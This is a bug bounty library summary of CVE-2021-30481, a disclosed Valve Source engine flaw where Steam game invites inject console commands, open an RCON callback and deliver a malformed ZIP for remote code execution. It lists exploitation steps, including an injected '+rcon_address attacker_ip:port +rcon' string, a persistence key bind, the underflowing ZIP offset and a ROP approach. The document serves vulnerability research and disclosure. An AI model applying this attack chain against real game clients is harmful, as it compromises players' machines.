# CVE-2021-30481: Source engine remote code execution via game invites

Malicious Steam game invites inject console commands that open an RCON connection, letting an attacker send a crafted ZIP that triggers an integer underflow in XUnzip for RCE.

- Payout: $8,000
- Severity: critical
- Program: Valve
- Credited: floesen
- Disclosed: 2021-04-20
- CVE: CVE-2021-30481
- Write-up quality: 9/10
- Original: https://secret.club/2021/04/20/source-engine-rce-invite.html
- Library page: https://bugbountylibrary.com/r/blog%3Asecret-club-2021-04-20-source-engine-rce-invite-html
- Tags: domain:desktop impact:data-leak impact:rce kind:bounty platform:blog sev:critical technique:chained technique:source-review vuln:command-injection vuln:file-upload vuln:memory-corruption vuln:rce

**Target:** Source engine game client (CS:GO) via Steamworks InviteUserToGame and RCON handler
**Root cause:** InviteUserToGame connect string is appended to the game command line with no restriction, allowing arbitrary console commands including +rcon_address/+rcon. The client RCON handler then unpacks attacker-supplied ZIP data with a 2003 XZip library whose lufread integer underflow on offset_curfile=0xFFFFFFFE causes an oversized memcpy onto a 1-byte stack variable.
**Steps:**
1. Send InviteUserToGame with connect string `+rcon_address attacker_ip:port +rcon` to victim.
2. Victim accepts invite; game launches and connects back to attacker RCON server.
3. Attacker sends SERVERDATA_SCREENSHOT_RESPONSE packet containing a ZIP with `screenshot.jpg`.
4. Craft ZIP central directory local file header offset = `0xFFFFFFFE`.
5. In lufread, `stream->pos + toread` overflows, `toread = stream->len - 0xFFFFFFFE` underflows to `stream->len + 2`, and memcpy copies archive blob onto 1-byte stack var.
6. Place ROP gadgets in archive; use ASLR-disabled `xinput1_3.dll` base for chain.
7. Optionally inject `+bind "tab" "+showscores;rcon_address ip:port;rcon" +host_writeconfig` for persistence and retries.
**How found:** Reading Steamworks docs revealed InviteUserToGame's connect string is appended to the launch command line unrestricted. Noticing Source console commands include rcon_address/rcon led to testing an outbound RCON connection. Reviewing CRConClient::ParseReceivedData showed screenshot packets are treated as ZIPs; auditing the old XZip library's offset handling exposed the underflow in lufread.
**Exploitation:** Attacker needs only a Steam friend invite. Accepting it starts the game with attacker-controlled console commands, establishing an outbound RCON connection that leaks the victim IP. The attacker then pushes a malicious ZIP via SERVERDATA_SCREENSHOT_RESPONSE; the client unpacks it, triggering the stack overflow and executing ROP shellcode. Arbitrary file upload via the same RCON channel lets the shellcode drop and run a payload. Key rebinding plus host_writeconfig makes the RCON trigger persistent across sessions.
**Escalation:** Chained command-line injection -> RCON connection -> arbitrary file upload -> ZIP parser memory corruption -> ROP RCE; persistence via bind + host_writeconfig for repeated exploit attempts (~80% success per try).
**Insight:** When a feature appends user-controlled strings to a process command line, enumerate every console command reachable, especially ones that open network connections or parse files. Old bundled third-party parsers (XZip from 2003) reached via those commands are high-value memory-corruption targets; check offset arithmetic in lufseek/lufread for unsigned underflow.
